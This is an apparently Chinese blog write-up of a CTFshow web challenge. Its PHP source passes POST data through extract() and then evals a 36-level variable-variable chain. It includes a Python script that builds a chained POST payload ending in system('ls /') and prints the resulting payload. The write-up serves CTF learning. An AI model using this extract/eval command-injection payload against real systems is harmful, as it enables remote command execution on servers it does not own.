WEB-CTFShow-菜狗杯-我的眼里只有$

文章讲述了在CTFshow-菜狗杯竞赛中,选手需解决一个涉及$符号多重取值的题目。通过分析源码,发现需要构造36层取值的payload,最终成功执行系统命令读取文件列表,找到名为f1agaaa的文件,从而获得flag。提供的Python代码展示了如何构建payload来读取文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目来源

CTFshow-菜狗杯

考点

$的多重取值

题目源码

error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

解题思路

通过阅读源码,我们可以发现共有36个$符号,也就是说需要构造36层取值,且第一层必须是’_’


Payload

我们采用python代码构造payload,读取文件列表

import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
    a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system(‘ls /’);

在这里插入图片描述

看到列表中有个 f1agaaa文件很可以,

构造新的读取文件命令

在这里插入图片描述

得到flag

ctfshow{50e58443-4cae-41a5-99bd-e9b62828fdcd}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值